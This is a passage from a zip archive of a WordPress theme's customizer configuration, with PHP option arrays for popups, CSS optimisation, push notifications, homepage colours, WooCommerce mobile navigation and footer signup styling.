	'label'    => __( 'Text Color on Popup Form', 'soledad' ),
	'id'       => 'penci_tblgc_text',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Links Color on Popup Form', 'soledad' ),
	'id'       => 'penci_tblgc_links',
);

return $options;
PK     0w\v    B  customizer/config/sections/penci_popup_section_general_section.phpnu [        <?php
$options   = array();
$options[] = array(
	'id'          => 'penci_popup_enable',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Promo Popup', 'soledad' ),
	'description' => __( 'Show promo popup to users when they enter the site.', 'soledad' ),
	'section'     => 'penci_popup_section_general',
	'type'        => 'soledad-fw-toggle',
);

$options[]  = array(
	'id'    => 'penci_popup_display_condition',
	'label' => __( 'Display Conditions', 'soledad' ),
	'type'  => 'soledad-fw-header',
);
$post_types = array( 'post', 'page' );
$post_types = array_merge( $post_types, penci_get_published_posttypes() );

if ( class_exists( 'WooCommerce' ) ) {
	$post_types[] = 'product';
}

if ( is_array( $post_types ) && ! empty( $post_types ) ) {

	foreach ( $post_types as $type ) {

		$type_data = get_post_type_object( $type );

		if ( ! empty( $type_data->label ) ) {

			$options[] = array(
				'id'       => 'penci_popup_show_' . $type,
				'sanitize' => 'penci_sanitize_text_field',
				'label'    => __( 'Show Popup for ' . $type_data->label, 'soledad' ),
				'type'     => 'soledad-fw-toggle',
			);
		}
	}
}

$options[] = array(
	'id'          => 'penci_popup_ex_singular_ids',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_text_field',
	'label'       => __( 'Exclude Singular Post IDs', 'soledad' ),
	'description' => __( 'You can check <a class="wp-customizer-link" target="_blank" href="https://ostraining.com/blog/wordpress/how-to-find-the-page-id-in-wordpress/">this guide</a> to know how to find ID of a post or page. Fill the list IDs you want to exclude here, separate by comma. E.g: 10, 20, 34', 'soledad' ),
	'type'        => 'soledad-fw-text',
);

$options[] = array(
	'id'          => 'penci_popup_in_singular_ids',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_text_field',
	'label'       => __( 'Include Singular Post IDs', 'soledad' ),
	'description' => __( 'You can check <a class="wp-customizer-link" target="_blank" href="https://ostraining.com/blog/wordpress/how-to-find-the-page-id-in-wordpress/">this guide</a> to know how to find ID of a post or page. Fill the list IDs you want to exclude here, separate by comma. E.g: 10, 20, 34', 'soledad' ),
	'type'        => 'soledad-fw-text',
);

$options[] = array(
	'id'      => 'penci_popup_exclude_homepages',
	'default' => '',
	'label'   => __( 'Hidden Popup on Homepage', 'soledad' ),
	'type'    => 'soledad-fw-toggle',
);

$options[] = array(
	'id'      => 'penci_popup_exclude_blog',
	'default' => '',
	'label'   => __( 'Hidden Popup on Blog Page', 'soledad' ),
	'type'    => 'soledad-fw-toggle',
);

$options[] = array(
	'id'    => 'penci_popup_display_condition_tax',
	'label' => __( 'Taxonomy Display Conditions', 'soledad' ),
	'type'  => 'soledad-fw-header',
);

foreach ( $post_types as $type ) {

	$type_data = get_post_type_object( $type );
	$post_taxs = get_object_taxonomies( $type, 'objects' );

	$igr_tax = array(
		'post_format',
		'product_type',
		'product_visibility',
		'product_shipping_class',
	);

	foreach ( $igr_tax as $igr ) {
		unset( $post_taxs[ $igr ] );
	}

	foreach ( $post_taxs as $tax ) {

		$options[] = array(
			'id'       => 'penci_popup_archive_' . $tax->name,
			'default'  => '',
			'sanitize' => 'penci_sanitize_text_field',
			'label'    => __( 'Show Popup for ' . $tax->label, 'soledad' ),
			'type'     => 'soledad-fw-toggle',
		);
	}
}


$options[] = array(
	'id'    => 'penci_popup_display_condition_other',
	'label' => __( 'Other Display Conditions', 'soledad' ),
	'type'  => 'soledad-fw-header',
);

$options[] = array(
	'id'      => 'penci_popup_exclude_search',
	'default' => '',
	'label'   => __( 'Hide for Search Page', 'soledad' ),
	'type'    => 'soledad-fw-toggle',
);

$options[] = array(
	'id'      => 'penci_popup_exclude_404',
	'default' => '',
	'label'   => __( 'Hide for 404 Page', 'soledad' ),
	'type'    => 'soledad-fw-toggle',
);

$options[] = array(
	'id'          => 'penci_popup_disable_mobile',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Hide for Mobile Devices', 'soledad' ),
	'description' => __( 'You can disable this option for mobile devices completely.', 'soledad' ),
	'section'     => 'penci_popup_section_general',
	'type'        => 'soledad-fw-toggle',
);

return $options;
PK     0w\qA    >  customizer/config/sections/penci_section_speed_css_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'id'          => 'penci_speed_optimize_css',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Enable Optimize CSS', 'soledad' ),
	'description' => __( "You need to check to this option to make all optimize CSS options below works", "soledad" ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_speed_remove_css',
	'default'     => false,
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Create Critical CSS?', 'soledad' ),
	'description' => __( 'Remove Unused CSS to reduce the loading time, all other CSS will be delayed to loads until user interaction.', 'soledad' ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_speed_optimize_css_minify',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Minify All CSS', 'soledad' ),
	'description' => __( "Minify CSS to reduced the CSS size.", "soledad" ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_speed_optimize_css_to_inline',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Inline Optimized CSS', 'soledad' ),
	'description' => __( "Inline the CSS to prevent flash of unstyled content. Highly recommended.", "soledad" ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_speed_optimize_gfonts',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Optimize Google Fonts', 'soledad' ),
	'description' => __( "Add preconnect hints and add display swap for Google Fonts.", "soledad" ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_speed_optimize_gfonts_inline',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Inline Google Fonts CSS', 'soledad' ),
	'description' => __( "Inline the Google Fonts CSS for a big boost on FCP and slight on LCP on mobile. Highly recommended.", "soledad" ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'          => 'penci_speed_optimize_gfonts_delay',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_checkbox_field',
	'label'       => __( 'Delay Loading Google Fonts', 'soledad' ),
	'description' => __( "It can helps you reduce the FCP & LCP for Core Web Vitals.", "soledad" ),
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_speed_optimize_disable_icon_delay',
	'default'  => '',
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Delay Loading Icon Fonts', 'soledad' ),
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'     => '',
	'label'       => __( 'Remove Gutenberg Styles', 'soledad' ),
	'description' => __( 'Use with caution. This will remove styles for Gutenberg editor from the <head> - only activate it if your website users using the Classic Editor', 'soledad' ),
	'id'          => 'penci_speed_remove_gutenbergcss',
	'type'        => 'soledad-fw-toggle',
);
$options[] = array(
	'id'       => 'penci_heading_inex_opts',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'File Rules Options', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'id'          => 'penci_speed_optimize_css_excludes',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Exclude Stylesheets from Optimize CSS', 'soledad' ),
	'description' => __( "Enter one per line to exclude certain CSS files from this optimizations. Examples: <strong>id:my-css-id</strong> OR <strong>a-part-from-file-url</strong>", "soledad" ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'id'          => 'penci_speed_remove_css_excludes',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Exclude Stylesheets from Remove Unused CSS', 'soledad' ),
	'description' => __( "Enter one per line to exclude certain CSS files from this optimizations. It won't remove the Unused CSS from those stylesheets. Examples: <strong>id:my-css-id</strong> OR <strong>a-part-from-file-url</strong>", "soledad" ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'id'          => 'penci_speed_allow_css_selectors',
	'default'     => '',
	'sanitize'    => 'penci_sanitize_textarea_field',
	'label'       => __( 'Always Keep Selectors', 'soledad' ),
	'description' => __( "Enter one per line. Partial or full matches for selectors (if any of these keywords found, the selector will be kept). Examples: .myclass", "soledad" ),
	'type'        => 'soledad-fw-textarea',
);
$options[] = array(
	'id'       => 'penci_heading_critical_css_head',
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'CSS File Options', 'soledad' ),
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'     => 'inline',
	'sanitize'    => 'penci_sanitize_choices_field',
	'label'       => __( 'Render Customizer CSS Method', 'soledad' ),
	'id'          => 'penci_spcss_render',
	'description' => __( 'Render Customizer CSS in a separate file can help you to improve performance dramatically.', 'soledad' ),
	'type'        => 'soledad-fw-select',
	'choices'     => array(
		'inline'        => esc_html__( 'Inline CSS', 'soledad' ),
		'separate_file' => esc_html__( 'Separate CSS File', 'soledad' ),
	)
);
$options[] = array(
	'data_type'       => 'render_separate_css',
	'nonce'           => esc_html( wp_create_nonce( 'penci_render_separate_css_file' ) ),
	'label'           => __( 'Regenerate CSS File', 'soledad' ),
	'id'              => 'penci_render_separate_css',
	'type'            => 'soledad-fw-button',
	'callback'        => 'penci_activate_separate_css_file_callback',
	'active_callback' => [
		[
			'setting'  => 'penci_spcss_render',
			'operator' => '==',
			'value'    => 'separate_file',
		],
	],
);
if ( function_exists( 'penci_speed_optimizer_get_stat' ) ) {
	$soledad_pages_speed_stat = penci_speed_optimizer_get_stat();
	$css_cache                = $soledad_pages_speed_stat['css'];
	$options[]                = array(
		'type'        => 'soledad-fw-button',
		'data_type'   => 'penci_speed_delete_cache',
		'nonce'       => esc_html( wp_create_nonce( 'penci_speed_delete_cache' ) ),
		'label'       => __( 'Clear Critical CSS Cache', 'soledad' ),
		'description' => sprintf( __( '<strong>Critical CSS Cache Files:</strong> <span class="count">%1$d</span>', 'soledad' ), $css_cache ),
		'id'          => 'penci_speed_delete_cache_button',
	);
}

return $options;
PK     0w\P;    P  customizer/config/sections/pencidesign_new_section_push_notification_section.phpnu [        <?php
$options = [];

$options_lists = [
    'penci_pushnt_sdesc' => [
        'label' => __( 'Subscribe Description', 'soledad' ),
        'default' => __('Get real time update about this post category directly on your device, subscribe now.', 'soledad'),
    ],
    'penci_pushnt_btntext' => [
        'label' => __( 'Subscribe Button Text', 'soledad' ),
        'default' => __( 'Subscribe', 'soledad' ),
    ],
    'penci_pushnt_unbtntext' => [
        'label' => __( 'Unsubscribe Button Text', 'soledad' ),
        'default' => __( 'Unsubscribe', 'soledad' ),
    ],
    'penci_pushnt_probtntext' => [
        'label' => __( 'Processing Button Text', 'soledad' ),
        'default' => __( 'Processing ...', 'soledad' ),
    ],
];

foreach ( $options_lists as $option_key => $option_data ) {
    $options[] = [
        'id'       => $option_key,
        'type'     => 'soledad-fw-text',
        'label'    => $option_data['label'],
        'default'  => $option_data['default'],
    ];
}

return $options;PK     0w\~    C  customizer/config/sections/penci_section_layout_rowsgap_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Rows Gap Between Post Items', 'soledad' ),
	'id'       => 'penci_rgap_pitems',
	'ids'         => array(
		'desktop' => 'penci_rgap_pitems',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Rows Gap for Big Post Items', 'soledad' ),
	'id'       => 'penci_rgap_pbitems',
	'ids'         => array(
		'desktop' => 'penci_rgap_pbitems',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'label'    => __( 'Rows Gap for Small List Post Items', 'soledad' ),
	'id'       => 'penci_rgap_psitems',
	'ids'         => array(
		'desktop' => 'penci_rgap_psitems',
	),
	'choices'     => array(
		'desktop' => array(
			'min'  => 1,
			'max'  => 2000,
			'step' => 1,
			'edit' => true,
			'unit' => 'px',
		),
	),
);

return $options;
PK     0w\Y3%  %  D  customizer/config/sections/penci_section_homepage_colors_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Featured Boxes', 'soledad' ),
	'id'       => 'penci_section_featured_boxes_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Featured Boxes Border & Background Color', 'soledad' ),
	'id'       => 'penci_home_boxes_overlay',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Featured Boxes Title Color', 'soledad' ),
	'id'       => 'penci_home_boxes_title_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Featured Boxes Accent Hover Color', 'soledad' ),
	'id'       => 'penci_home_boxes_accent_hover_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Popular Posts', 'soledad' ),
	'id'       => 'penci_section_popular_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Home Popular Posts Heading Color', 'soledad' ),
	'id'       => 'penci_home_popular_label_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Home Popular Posts Border Color', 'soledad' ),
	'id'       => 'penci_home_popular_border_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Home Popular Post Titles Color', 'soledad' ),
	'id'       => 'penci_home_popular_post_title_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Home Popular Post Titles Post Hover Color', 'soledad' ),
	'id'       => 'penci_home_popular_post_title_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Home Popular Post Date Color', 'soledad' ),
	'id'       => 'penci_home_popular_post_date_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Home Title Box', 'soledad' ),
	'id'       => 'penci_section_home_titlebox_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Home Title Box Background Color', 'soledad' ),
	'id'       => 'penci_home_title_box_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Home Title Box Background Outer Color', 'soledad' ),
	'id'       => 'penci_home_title_box_outer_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Home Title Box Border Color', 'soledad' ),
	'id'       => 'penci_home_title_box_border_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Home Title Box Border Outer Color', 'soledad' ),
	'id'       => 'penci_home_title_box_border_inner_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Border Bottom on Home Title Box Style 5, 10, 11, 12', 'soledad' ),
	'id'       => 'penci_home_title_box_border_bottom5',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Small Border Bottom on Home Title Box Style 7 & Style 8', 'soledad' ),
	'id'       => 'penci_home_title_box_border_bottom7',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Border Top on Home Title Box Style 10', 'soledad' ),
	'id'       => 'penci_home_title_box_border_top10',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Custom Color for Background Shapes Home Title Box Style 11, 12, 13', 'soledad' ),
	'id'       => 'penci_home_title_box_shapes_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color for Icon on Style 15', 'soledad' ),
	'id'       => 'penci_home_bgstyle15',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Icon Color on Style 15', 'soledad' ),
	'id'       => 'penci_home_iconstyle15',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Lines on Styles 18, 19, 20', 'soledad' ),
	'id'       => 'penci_home_cllines',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Home Title Box Text Color', 'soledad' ),
	'id'       => 'penci_home_title_box_text_color',
);
$options[] = array(
	'sanitize' => 'sanitize_text_field',
	'label'    => esc_html__( 'Featured Categories', 'soledad' ),
	'id'       => 'penci_section_featured_cat_heading',
	'type'     => 'soledad-fw-header',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Titles Color', 'soledad' ),
	'id'       => 'penci_home_featured_title_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Titles Hover Color', 'soledad' ),
	'id'       => 'penci_home_featured_title_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Titles Color For Style 3, Style 4, Style 11, Style 14', 'soledad' ),
	'id'       => 'penci_home_featured3_title_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Titles Hover Color For Style 3, Style 4, Style 11, Style 14', 'soledad' ),
	'id'       => 'penci_home_featured3_title_hover_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Post Meta Color', 'soledad' ),
	'id'       => 'penci_home_featured_meta_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Posts Meta Color For Style 3, Style 4, Style 11, Style 14', 'soledad' ),
	'id'       => 'penci_home_featured3_meta_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Color for Links on Post Meta', 'soledad' ),
	'id'       => 'penci_home_featured_metalink_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Text Color for "View All" Button', 'soledad' ),
	'id'       => 'penci_home_featured_viewall_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Background Color for "View All" Button', 'soledad' ),
	'id'       => 'penci_home_featured_viewall_bg',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Accent Color', 'soledad' ),
	'id'       => 'penci_home_featured_accent_color',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
	'label'    => __( 'Posts Overlay Background Color For Style 3 & Style 11', 'soledad' ),
	'id'       => 'penci_home_featured3_overlay_color',
);
$options[] = array(
	'default'  => '0.15',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Posts Overlay Opacity For Style 3 & Style 11', 'soledad' ),
	'id'       => 'penci_home_featured3_overlay_opacity',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'0'    => '0',
		'0.05' => '0.05',
		'0.1'  => '0.1',
		'0.15' => '0.15',
		'0.2'  => '0.2',
		'0.25' => '0.25',
		'0.3'  => '0.3',
		'0.35' => '0.35',
		'0.4'  => '0.4',
		'0.45' => '0.45',
		'0.5'  => '0.5',
		'0.55' => '0.55',
		'0.6'  => '0.6',
		'0.65' => '0.65',
		'0.7'  => '0.7',
		'0.75' => '0.75',
		'0.8'  => '0.8',
		'0.85' => '0.85',
		'0.9'  => '0.9',
		'0.95' => '0.95',
		'1'    => '1',
	)
);
$options[] = array(
	'default'  => '0.7',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Posts Overlay Opacity on Hover For Style 3 & Style 11', 'soledad' ),
	'id'       => 'penci_home_featured3_overlay_hover_opacity',
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'0'    => '0',
		'0.05' => '0.05',
		'0.1'  => '0.1',
		'0.15' => '0.15',
		'0.2'  => '0.2',
		'0.25' => '0.25',
		'0.3'  => '0.3',
		'0.35' => '0.35',
		'0.4'  => '0.4',
		'0.45' => '0.45',
		'0.5'  => '0.5',
		'0.55' => '0.55',
		'0.6'  => '0.6',
		'0.65' => '0.65',
		'0.7'  => '0.7',
		'0.75' => '0.75',
		'0.8'  => '0.8',
		'0.85' => '0.85',
		'0.9'  => '0.9',
		'0.95' => '0.95',
		'1'    => '1',
	)
);

return $options;
PK     0w\=ާ`  `  F  customizer/config/sections/pencidesign_woo_mobile_settings_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Disable Filter Trigger Auto Scroll', 'soledad' ),
	'id'       => 'penci_woo_mobile_autoscroll',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Enable Bottom Navigation', 'soledad' ),
	'id'       => 'penci_woo_mobile_bottom_nav',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_multiple_checkbox',
	'label'    => __( 'Select navigation menu item', 'soledad' ),
	'id'       => 'penci_woo_mobile_nav_items',
	'multiple' => 999,
	'type'     => 'soledad-fw-select',
	'choices'  => array(
		'home'     => __('Home Page','soledad' ),
		'shop'     => __('Shop Page','soledad' ),
		'cart'     => __('Cart Page','soledad' ),
		'account'  => __('Account Page','soledad' ),
		'wishlist' => __('Wishlist Page','soledad' ),
		'compare'  => __('Compare Page','soledad' ),
		'filter'   => __('Category Filter Panel','soledad' ),
	),
);
$options[] = array(
	'default'  => false,
	'sanitize' => 'penci_sanitize_checkbox_field',
	'label'    => __( 'Show custom Navigation Menus', 'soledad' ),
	'id'       => 'penci_woo_mobile_show_custom_nav',
	'type'     => 'soledad-fw-toggle',
);
$options[] = array(
	'default'  => '',
	'sanitize' => 'penci_sanitize_choices_field',
	'label'    => __( 'Select Custom Menu for Mobile Bottom Navigation', 'soledad' ),
	'id'       => 'penci_woo_mobile_nav_menu',
	'type'     => 'soledad-fw-ajax-select',
	'choices'  => call_user_func( function () {
		$menu_list = [ '' => '' ];
		$menus     = wp_get_nav_menus();
		if ( ! empty( $menus ) ) {
			foreach ( $menus as $menu ) {
				$menu_list[ $menu->slug ] = $menu->name;
			}
		}

		return $menu_list;
	} ),
);

return $options;
PK     0w\/    F  customizer/config/sections/penci_section_footer_signupform_section.phpnu [        <?php
$options   = [];
$options[] = array(
	'label'    => __( 'Custom Padding to Top', 'soledad' ),
	'id'       => 'penci_footer_signup_ptop',
	'default'  => '50',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_footer_signup_ptop',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '50',
		),
	),
);
$options[] = array(
	'label'    => __( 'Custom Padding to Bottom', 'soledad' ),
	'id'       => 'penci_footer_signup_pbottom',
	'default'  => '40',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'ids'      => array(
		'desktop' => 'penci_footer_signup_pbottom',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 2000,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '40',
		),
	),
);
$options[] = array(
	'label'       => '',
	'description' => '',
	'id'          => 'penci_footer_signup_fstitle_mobile',
	'type'        => 'soledad-fw-hidden',
	'sanitize'    => 'absint',
	'default'     => '24',
);
$options[] = array(
	'label'    => __( 'Font Size for Heading', 'soledad' ),
	'id'       => 'penci_footer_signup_fstitle',
	'type'     => 'soledad-fw-size',
	'sanitize' => 'absint',
	'default'  => '32',
	'ids'      => array(
		'desktop' => 'penci_footer_signup_fstitle',
		'mobile'  => 'penci_footer_signup_fstitle_mobile',
	),
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '32',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '24',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for Description', 'soledad' ),
	'id'       => 'penci_footer_signup_fsdesc',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-size',
	'default'  => '18',
	'ids'      => [ 'desktop' => 'penci_footer_signup_fsdesc', 'mobile' => 'penci_footer_signup_fsdesc_mobile' ],
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '18',
		),
		'mobile'  => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '16',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for Description', 'soledad' ),
	'id'       => 'penci_footer_signup_fsdesc_mobile',
	'sanitize' => 'absint',
	'type'     => 'soledad-fw-hidden',
	'default'  => '16',
);
$options[] = array(
	'label'    => __( 'Font Size for Inputs', 'soledad' ),
	'id'       => 'penci_footer_signup_fsinputs',
	'sanitize' => 'absint',
	'default'  => '14',
	'ids'      => [ 'desktop' => 'penci_footer_signup_fsinputs' ],
	'type'     => 'soledad-fw-size',
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'label'    => __( 'Font Size for Submit Button', 'soledad' ),
	'id'       => 'penci_footer_signup_fsisubmit',
	'sanitize' => 'absint',
	'ids'      => [ 'desktop' => 'penci_footer_signup_fsisubmit' ],
	'type'     => 'soledad-fw-size',
	'default'  => '14',
	'choices'  => array(
		'desktop' => array(
			'min'     => 1,
			'max'     => 100,
			'step'    => 1,
			'edit'    => true,
			'unit'    => 'px',
			'default' => '14',
		),
	),
);
$options[] = array(
	'label'    => __( 'Display Name Field on Footer SignUp Form', 'soledad' ),
	'id'       => 'penci_footer_signup_showemail',
	'type'     => 'soledad-fw-toggle',
	'sanitize' => 'absint',
);
$options[] = array(
	'label'    => __( 'Footer SignUp Form Area Background Color', 'soledad' ),
	'id'       => 'penci_footer_signup_area_bg',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color',
);
$options[] = array(
	'label'    => __( 'SignUp Form Heading Text Color', 'soledad' ),
	'id'       => 'penci_footer_signup_heading_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'SignUp Form Description Text Color', 'soledad' ),
	'id'       => 'penci_footer_signup_des_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'SignUp Form Email Input Border Color', 'soledad' ),
	'id'       => 'penci_footer_signup_email_border',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'SignUp Form Email Input Hover Border Color', 'soledad' ),
	'id'       => 'footer_signup_email_border_hover',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
	'type'     => 'soledad-fw-color'
);
$options[] = array(
	'label'    => __( 'SignUp Form Email Text Color', 'soledad' ),
	'id'       => 'penci_footer_signup_email_text_color',
	'default'  => '',
	'sanitize' => 'sanitize_hex_color',
